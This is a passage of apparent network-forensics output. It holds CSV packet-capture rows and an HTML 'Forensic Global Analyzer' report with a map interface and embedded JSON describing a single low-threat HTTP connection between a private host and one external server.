\"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 48831, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 63100, \"\"src\"\": \"\"194.36.32.204\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 64005, \"\"seq\"\": 722716779, \"\"ack\"\": 2078836110, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 63, \"\"chksum\"\": 34222, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-09 12:29:53.542139,11,TCP 10.152.152.11:64005 -> 194.36.32.204:80,10.152.152.11,194.36.32.204,64005,80,TCP,Internal,Private Network,,,,,,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,194.36.32.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=2078836110 Ack=722716780,bc24112907bbbc2411360d0c08004500002828fa400080064c420a98980bc22420ccfa0500507be8858e2b13c86c501003fe36f60000,\".$.)...$.6\n...E..((.@...LB\n....$ ....P{...+..lP...6...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 10490, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 19522, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"194.36.32.204\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64005, \"\"dport\"\": 80, \"\"seq\"\": 2078836110, \"\"ack\"\": 722716780, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1022, \"\"chksum\"\": 14070, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-09 12:29:53.542160,12,TCP 10.152.152.11:64005 -> 194.36.32.204:80,10.152.152.11,194.36.32.204,64005,80,TCP,Internal,Private Network,,,,,,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,194.36.32.0/23,FA,,,Ether > IP > TCP,3,TCP FA Seq=2078836110 Ack=722716780,bc24112907bbbc2411360d0c08004500002828fb400080064c410a98980bc22420ccfa0500507be8858e2b13c86c501103fe36f50000,\".$.)...$.6\n...E..((.@...LA\n....$ ....P{...+..lP...6...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 10491, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 19521, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"194.36.32.204\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64005, \"\"dport\"\": 80, \"\"seq\"\": 2078836110, \"\"ack\"\": 722716780, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1022, \"\"chksum\"\": 14069, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-09 12:29:53.542176,13,TCP 194.36.32.204:80 -> 10.152.152.11:64005,194.36.32.204,10.152.152.11,80,64005,TCP,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,194.36.32.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=722716780 Ack=2078836111,bc2411360d0cbc24112907bb080045000028000040004006b53cc22420cc0a98980b0050fa052b13c86c7be8858f5010003f3ab40000,\".$.6\n..$.)....E..(..@.@..<.$ .\n....P..+..l{...P..?:...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 46396, \"\"src\"\": \"\"194.36.32.204\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 64005, \"\"seq\"\": 722716780, \"\"ack\"\": 2078836111, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 15028, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n"},"html_report":"<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"UTF-8\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n    <title>Global Network Analysis - Investigative Map</title>\n    <!-- Light Theme UI -->\n    <link rel=\"stylesheet\" href=\"https://unpkg.com/leaflet@1.9.4/dist/leaflet.css\" />\n    <script src=\"https://unpkg.com/leaflet@1.9.4/dist/leaflet.js\"></script>\n    <script src=\"https://d3js.org/d3.v7.min.js\"></script>\n    <link rel=\"stylesheet\" href=\"https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css\" />\n    <style>\n        :root {\n            --bg-page: #f8fafc;\n            --panel-bg: #ffffff;\n            --border-ui: #e2e8f0;\n            --text-primary: #1e293b;\n            --text-secondary: #64748b;\n            --accent-main: #3b82f6;\n            --accent-success: #10b981;\n            --accent-danger: #ef4444;\n            --shadow-ui: 0 4px 6px -1px rgba(0, 0, 0, 0.1);\n        }\n\n        body, html {\n            margin: 0;\n            padding: 0;\n            width: 100%;\n            height: 100%;\n            overflow: hidden;\n            font-family: 'Inter', system-ui, -apple-system, sans-serif;\n            background: var(--bg-page);\n            color: var(--text-primary);\n        }\n\n        #app-layout {\n            display: grid;\n            grid-template-columns: 1fr 400px;\n            grid-template-rows: 60px 1fr;\n            height: 100vh;\n            width: 100vw;\n        }\n\n        header {\n            grid-column: 1 / 3;\n            background: var(--panel-bg);\n            border-bottom: 1px solid var(--border-ui);\n            display: flex;\n            align-items: center;\n            padding: 0 24px;\n            justify-content: space-between;\n            z-index: 1000;\n        }\n\n        .brand {\n            display: flex;\n            align-items: center;\n            gap: 12px;\n            font-weight: 800;\n            font-size: 1.2rem;\n            color: var(--accent-main);\n        }\n\n        #map-view {\n            position: relative;\n            background: #eee;\n        }\n\n        #side-inspector {\n            background: var(--panel-bg);\n            border-left: 1px solid var(--border-ui);\n            display: flex;\n            flex-direction: column;\n            overflow: hidden;\n            box-shadow: -4px 0 10px rgba(0,0,0,0.02);\n        }\n\n        .inspector-header {\n            padding: 20px;\n            background: #f1f5f9;\n            border-bottom: 1px solid var(--border-ui);\n        }\n\n        .inspector-content {\n            flex: 1;\n            overflow-y: auto;\n            padding: 20px;\n        }\n\n        .info-card {\n            background: #f8fafc;\n            border: 1px solid var(--border-ui);\n            border-radius: 10px;\n            padding: 15px;\n            margin-bottom: 15px;\n        }\n\n        .sec-title {\n            font-size: 0.75rem;\n            text-transform: uppercase;\n            letter-spacing: 0.05em;\n            color: var(--text-secondary);\n            margin-bottom: 10px;\n            font-weight: 700;\n        }\n\n        .data-row {\n            display: flex;\n            justify-content: space-between;\n            margin-bottom: 6px;\n            font-size: 0.85rem;\n        }\n\n        .data-label {\n            color: var(--text-secondary);\n        }\n\n        .data-value {\n            font-weight: 600;\n            word-break: break-all;\n            text-align: right;\n        }\n\n        .packet-list-item {\n            padding: 10px;\n            border: 1px solid var(--border-ui);\n            border-radius: 6px;\n            margin-bottom: 8px;\n            cursor: pointer;\n            transition: all 0.2s;\n            font-size: 0.8rem;\n            display: flex;\n            justify-content: space-between;\n        }\n\n        .packet-list-item:hover {\n            background: #f1f5f9;\n            border-color: var(--accent-main);\n        }\n\n\n        .hex-dump {\n            font-family: 'Fira Code', 'Courier New', monospace;\n            background: #0f172a;\n            color: #38bdf8;\n            padding: 15px;\n            border-radius: 8px;\n            overflow: auto;\n            flex: 1;\n            font-size: 0.85rem;\n            line-height: 1.4;\n        }\n\n        .stat-grid {\n            display: grid;\n            grid-template-columns: repeat(3, 1fr);\n            gap: 15px;\n        }\n\n        .stat-box {\n            background: var(--panel-bg);\n            border: 1px solid var(--border-ui);\n            padding: 10px;\n            border-radius: 8px;\n            text-align: center;\n        }\n\n        .stat-v {\n            font-size: 1.2rem;\n            font-weight: 700;\n            color: var(--accent-main);\n        }\n\n        .stat-l {\n            font-size: 0.7rem;\n            color: var(--text-secondary);\n        }\n\n        .leaflet-d3-overlay {\n            pointer-events: none;\n        }\n\n        circle {\n            pointer-events: visiblePainted;\n            cursor: pointer;\n            transition: stroke-width 0.2s;\n        }\n\n        path.link {\n            stroke-opacity: 0.6;\n            fill: none;\n            cursor: pointer;\n        }\n\n        .replay-controller {\n            position: absolute;\n            bottom: 20px;\n            left: 50%;\n            transform: translateX(-50%);\n            background: white;\n            padding: 15px 25px;\n            border-radius: 12px;\n            display: flex;\n            align-items: center;\n            gap: 20px;\n            box-shadow: 0 10px 30px rgba(0,0,0,0.1);\n            z-index: 1001;\n            border: 1px solid var(--border-ui);\n            min-width: 500px;\n        }\n\n        .timeline-slider {\n            flex: 1;\n            -webkit-appearance: none;\n            height: 6px;\n            background: #e2e8f0;\n            border-radius: 5px;\n            outline: none;\n        }\n\n        .timeline-slider::-webkit-slider-thumb {\n            -webkit-appearance: none;\n            width: 18px;\n            height: 18px;\n            background: var(--accent-main);\n            border-radius: 50%;\n            cursor: pointer;\n            box-shadow: 0 2px 4px rgba(0,0,0,0.2);\n        }\n\n        .replay-btn {\n            background: var(--accent-main);\n            color: white;\n            border: none;\n            width: 36px;\n            height: 36px;\n            border-radius: 50%;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            cursor: pointer;\n            transition: transform 0.2s;\n        }\n\n        .replay-btn:hover {\n            transform: scale(1.1);\n        }\n\n        .packet-particle {\n            fill: var(--accent-main);\n            filter: drop-shadow(0 0 3px var(--accent-main));\n        }\n\n        .pvt-network-zone {\n            position: absolute;\n            top: 20px;\n            left: 20px;\n            width: 200px;\n            height: 150px;\n            border: 2px dashed #94a3b8;\n            border-radius: 10px;\n            background: rgba(248, 250, 252, 0.8);\n            pointer-events: none;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            font-size: 0.7rem;\n            color: #64748b;\n            text-transform: uppercase;\n            font-weight: 800;\n            z-index: 1000;\n        }\n    </style>\n</head>\n<body>\n    <div id=\"app-layout\">\n        <header>\n            <div class=\"brand\">\n                <i class=\"fas fa-microchip\"></i> FORENSIC GLOBAL ANALYZER\n            </div>\n            <div class=\"stat-grid\" style=\"gap: 40px;\">\n                <div class=\"stat-box\" style=\"border:none; background:none;\">\n                    <div class=\"stat-v\" id=\"stat-nodes\">0</div>\n                    <div class=\"stat-l\">NODES</div>\n                </div>\n                <div class=\"stat-box\" style=\"border:none; background:none;\">\n                    <div class=\"stat-v\" id=\"stat-edges\">0</div>\n                    <div class=\"stat-l\">FLOWS</div>\n                </div>\n                <div class=\"stat-box\" style=\"border:none; background:none;\">\n                    <div class=\"stat-v\" id=\"stat-pkts\">0</div>\n                    <div class=\"stat-l\">PACKETS</div>\n                </div>\n            </div>\n            <div>\n                <button onclick=\"zoomToWorld()\" class=\"btn\" style=\"padding: 8px 15px; border:1px solid #ccc; border-radius:5px; background:white; cursor:pointer;\">\n                    <i class=\"fas fa-globe\"></i> Reset View\n                </button>\n            </div>\n        </header>\n\n        <div id=\"map-view\">\n            <div id=\"map\" style=\"width: 100%; height: 100%;\"></div>\n            <div class=\"pvt-network-zone\" id=\"pvt-zone\">Internal Assets</div>\n            \n            <div class=\"replay-controller\">\n                <button class=\"replay-btn\" id=\"play-pause\" onclick=\"toggleReplay()\">\n                    <i class=\"fas fa-play\" id=\"play-icon\"></i>\n                </button>\n                <input type=\"range\" class=\"timeline-slider\" id=\"timeline\" min=\"0\" max=\"100\" value=\"0\" oninput=\"seekReplay(this.value)\">\n                <div id=\"time-display\" style=\"font-family: monospace; font-size: 0.8rem; color: var(--text-secondary); width: 140px;\">00:00:00.000</div>\n            </div>\n\n            <div class=\"internal-nodes-tray\" id=\"internal-tray\" style=\"display:none;\">\n                <div class=\"sec-title\">Internal Assets</div>\n                <div id=\"internal-node-list\"></div>\n            </div>\n        </div>\n\n        <div id=\"side-inspector\">\n            <div class=\"inspector-header\">\n                <h2 id=\"inspect-title\">Selection Inspector</h2>\n                <p id=\"inspect-subtitle\" style=\"font-size: 0.8rem; color: var(--text-secondary);\">Select a node or flow on map</p>\n            </div>\n            <div class=\"inspector-content\" id=\"inspect-body\">\n                <div style=\"text-align: center; color: #94a3b8; margin-top: 50px;\">\n                    <i class=\"fas fa-search-location\" style=\"font-size: 3rem; margin-bottom: 20px;\"></i>\n                    <p>Analysis initialized. Click map elements or use replay to investigate flows.</p>\n                </div>\n            </div>\n        </div>\n    </div>\n\n    </div>\n\n    <script>\n        const nodes = [{\"id\": \"10.152.152.11\", \"ip\": \"10.152.152.11\", \"packet_count\": 13, \"total_bytes_sent\": 795, \"total_bytes_received\": 4748, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPRequest\", \"HTTPResponse\", \"Raw\"], \"ports_used\": [64005], \"first_seen\": 1783600183.088408, \"last_seen\": 1783600193.542176, \"packets\": [{\"num\": 0, \"time\": 1783600183.088408, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 1, \"time\": 1783600183.088489, \"size\": 66, \"direction\": \"received\"}, {\"num\": 2, \"time\": 1783600183.088702, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 3, \"time\": 1783600183.088736, \"size\": 459, \"direction\": \"sent\"}, {\"num\": 4, \"time\": 1783600183.088744, \"size\": 54, \"direction\": \"received\"}, {\"num\": 5, \"time\": 1783600183.475314, \"size\": 3470, \"direction\": \"received\"}, {\"num\": 6, \"time\": 1783600183.475607, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 7, \"time\": 1783600183.479472, \"size\": 1050, \"direction\": \"received\"}, {\"num\": 8, \"time\": 1783600183.479603, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 9, \"time\": 1783600193.541705, \"size\": 54, \"direction\": \"received\"}, {\"num\": 10, \"time\": 1783600193.542139, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 11, \"time\": 1783600193.54216, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 12, \"time\": 1783600193.542176, \"size\": 54, \"direction\": \"received\"}], \"is_private\": true, \"is_server\": true, \"is_client\": false, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"Internal\", \"city\": \"Private Network\", \"lat\": 0.0, \"lon\": 0.0, \"asn\": \"Unknown\", \"isp\": \"Unknown\", \"network\": \"Unknown\"}, \"duration\": 10.453768014907837, \"avg_packet_size\": 426.38461538461536, \"packets_per_second\": 1.2435707375045104}, {\"id\": \"194.36.32.204\", \"ip\": \"194.36.32.204\", \"packet_count\": 13, \"total_bytes_sent\": 4748, \"total_bytes_received\": 795, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPRequest\", \"HTTPResponse\", \"Raw\"], \"ports_used\": [80], \"first_seen\": 1783600183.088408, \"last_seen\": 1783600193.542176, \"packets\": [{\"num\": 0, \"time\": 1783600183.088408, \"size\": 66, \"direction\": \"received\"}, {\"num\": 1, \"time\": 1783600183.088489, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 2, \"time\": 1783600183.088702, \"size\": 54, \"direction\": \"received\"}, {\"num\": 3, \"time\": 1783600183.088736, \"size\": 459, \"direction\": \"received\"}, {\"num\": 4, \"time\": 1783600183.088744, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 5, \"time\": 1783600183.475314, \"size\": 3470, \"direction\": \"sent\"}, {\"num\": 6, \"time\": 1783600183.475607, \"size\": 54, \"direction\": \"received\"}, {\"num\": 7, \"time\": 1783600183.479472, \"size\": 1050, \"direction\": \"sent\"}, {\"num\": 8, \"time\": 1783600183.479603, \"size\": 54, \"direction\": \"received\"}, {\"num\": 9, \"time\": 1783600193.541705, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 10, \"time\": 1783600193.542139, \"size\": 54, \"direction\": \"received\"}, {\"num\": 11, \"time\": 1783600193.54216, \"size\": 54, \"direction\": \"received\"}, {\"num\": 12, \"time\": 1783600193.542176, \"size\": 54, \"direction\": \"sent\"}], \"is_private\": false, \"is_server\": false, \"is_client\": true, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"United States\", \"city\": \"Unknown\", \"lat\": 37.751, \"lon\": -97.822, \"asn\": 215724, \"isp\": \"Edgevana, Inc.\", \"network\": \"194.36.32.0/23\"}, \"duration\": 10.453768014907837, \"avg_packet_size\": 426.38461538461536, \"packets_per_second\": 1.2435707375045104}];\n        const edges = [{\"source\": \"10.152.152.11\", \"target\": \"194.36.32.204\", \"packet_count\": 7, \"total_bytes\": 795, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPRequest\"], \"src_ports\": [64005], \"dst_ports\": [80], \"first_packet\": 1783600183.088408, \"last_packet\": 1783600193.54216, \"packets\": [{\"packet_number\": 0, \"timestamp\": 1783600183.088408, \"timestamp_iso\": \"2026-07-09T17:59:43.088408\", \"timestamp_human\": \"2026-07-09 17:59:43.088\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"194.36.32.204\", \"ttl\": 128, \"ip_id\": 10485, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64005, \"dst_port\": 80, \"tcp_seq\": 2078835704, \"tcp_ack\": 0, \"tcp_window\": 64240, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": false, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN\"}, {\"packet_number\": 2, \"timestamp\": 1783600183.088702, \"timestamp_iso\": \"2026-07-09T17:59:43.088702\", \"timestamp_human\": \"2026-07-09 17:59:43.088\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"194.36.32.204\", \"ttl\": 128, \"ip_id\": 10486, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64005, \"dst_port\": 80, \"tcp_seq\": 2078835705, \"tcp_ack\": 722712367, \"tcp_window\": 1026, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 3, \"timestamp\": 1783600183.088736, \"timestamp_iso\": \"2026-07-09T17:59:43.088736\", \"timestamp_human\": \"2026-07-09 17:59:43.088\", \"size\": 459, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPRequest\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"194.36.32.204\", \"ttl\": 128, \"ip_id\": 10487, \"ip_len\": 445, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64005, \"dst_port\": 80, \"tcp_seq\": 2078835705, \"tcp_ack\": 722712367, \"tcp_window\": 1026, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 6, \"timestamp\": 1783600183.475607, \"timestamp_iso\": \"2026-07-09T17:59:43.475607\", \"timestamp_human\": \"2026-07-09 17:59:43.475\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"194.36.32.204\", \"ttl\": 128, \"ip_id\": 10488, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64005, \"dst_port\": 80, \"tcp_seq\": 2078836110, \"tcp_ack\": 722715783, \"tcp_window\": 1026, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 8, \"timestamp\": 1783600183.479603, \"timestamp_iso\": \"2026-07-09T17:59:43.479603\", \"timestamp_human\": \"2026-07-09 17:59:43.479\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"194.36.32.204\", \"ttl\": 128, \"ip_id\": 10489, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64005, \"dst_port\": 80, \"tcp_seq\": 2078836110, \"tcp_ack\": 722716779, \"tcp_window\": 1022, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 10, \"timestamp\": 1783600193.542139, \"timestamp_iso\": \"2026-07-09T17:59:53.542139\", \"timestamp_human\": \"2026-07-09 17:59:53.542\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"194.36.32.204\", \"ttl\": 128, \"ip_id\": 10490, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64005, \"dst_port\": 80, \"tcp_seq\": 2078836110, \"tcp_ack\": 722716780, \"tcp_window\": 1022, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 11, \"timestamp\": 1783600193.54216, \"timestamp_iso\": \"2026-07-09T17:59:53.542160\", \"timestamp_human\": \"2026-07-09 17:59:53.542\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"194.36.32.204\", \"ttl\": 128, \"ip_id\": 10491, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64005, \"dst_port\": 80, \"tcp_seq\": 2078836110, \"tcp_ack\": 722716780, \"tcp_window\": 1022, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}], \"tcp_flags\": {\"SYN\": 1, \"ACK\": 6, \"PSH\": 1, \"FIN\": 1}, \"packet_sizes\": [66, 54, 459, 54, 54, 54, 54], \"inter_packet_intervals\": [0.00029397010803222656, 3.409385681152344e-05, 0.3868708610534668, 0.003996133804321289, 10.062536001205444, 2.09808349609375e-05], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 10.453752040863037, \"avg_packet_size\": 113.57142857142857, \"packets_per_second\": 0.6696160357197545, \"bytes_per_second\": 76.04924977102927, \"min_packet_size\": 54, \"max_packet_size\": 459, \"median_packet_size\": 54, \"avg_interval\": 1.742292006810506, \"min_interval\": 2.09808349609375e-05, \"max_interval\": 10.062536001205444}, {\"source\": \"194.36.32.204\", \"target\": \"10.152.152.11\", \"packet_count\": 6, \"total_bytes\": 4748, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPResponse\", \"Raw\"], \"src_ports\": [80], \"dst_ports\": [64005], \"first_packet\": 1783600183.088489, \"last_packet\": 1783600193.542176, \"packets\": [{\"packet_number\": 1, \"timestamp\": 1783600183.088489, \"timestamp_iso\": \"2026-07-09T17:59:43.088489\", \"timestamp_human\": \"2026-07-09 17:59:43.088\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"194.36.32.204\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 64005, \"tcp_seq\": 722712366, \"tcp_ack\": 2078835705, \"tcp_window\": 64240, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN,ACK\"}, {\"packet_number\": 4, \"timestamp\": 1783600183.088744, \"timestamp_iso\": \"2026-07-09T17:59:43.088744\", \"timestamp_human\": \"2026-07-09 17:59:43.088\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"194.36.32.204\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 48826, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 64005, \"tcp_seq\": 722712367, \"tcp_ack\": 2078836110, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 5, \"timestamp\": 1783600183.475314, \"timestamp_iso\": \"2026-07-09T17:59:43.475314\", \"timestamp_human\": \"2026-07-09 17:59:43.475\", \"size\": 3470, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPResponse\", \"Raw\"], \"src_ip\": \"194.36.32.204\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 48827, \"ip_len\": 3456, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 64005, \"tcp_seq\": 722712367, \"tcp_ack\": 2078836110, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 2797, \"payload_preview\": \"7b224d616a6f7256657273696f6e223a312c224d696e6f7256657273696f6e223a302c22486173684f66486173686573223a2271416957414e73434f314d756d4452553462324654635371486976593934675853464758646972524471343d222c22486173684f66486173686573537472696e67223a2271416957414e73434f314d756d4452553462324654635371486976593934675853464758646972524471343d222c22436f6e74656e744c656e677468223a37393234303630352c22506965636553697a65223a313034383537362c22506965636573223a5b2236336532666e3970354d314a67726f7434324970474d61356265775162424b4c2b656d35306f46622b69343d222c22597558624c676173344c68377750632b2b6556613337453649566465377250466e58346e44676f506b30633d222c224b36696f387735713872346a766342306258626e6b635232626746426477436e6a755847697a634d6d51553d222c223058332b783356312b4a50416a4345354e6732306765723566446531476741596f6c3553774a6f45422b303d222c226d6a7456713273456d78366b62386269436b6952776b67722b6378316e73367448586c76774b75786130493d222c2236762b4a6d6e41786344384568316145702b61315564754a4f6b6b5a7759566d6e71737341675665416a453d222c22354a476568434f57456b757371556d4c3863426e4e4d767635595148352b51446c6d776a7741504c6d50733d222c2252676f443054474a4959317a4a3039314d71696b6653307356305668553358356655744f6c6e6e53454e773d222c22364953337632773973507555572f416b556a663933557265456a4a3578377644626543536f7066416179593d222c224c50487063753231506f41576d6661314c616268356d4b6e316e61376f473335685163792f5139384974303d222c22457745725269654a3258715a58766443356d37664767577067327148484268334337723267485878454b303d222c2238696566472b537a366971484568495665517747746655517665482f5267705136436639545350385a4c513d222c2236654a495a4769796747774732617648694b4a33476351777037394367487371466b78556f7473436a6f733d222c226f66416f2f49666c424a476641424b723156727a696d766234754d334d386c676d784955366c57744a50513d222c225853652f706748334c7963767837714d4930756837706554753976576c387339316b554b70626633554f413d222c22387074626541313644594f7574732f78326e377a726264346f5264504379335157316e7348734865456b343d222c224d5674664b634d6e366d33756a51595a455a46723445392b6d2b52464d6a65344f3945386c2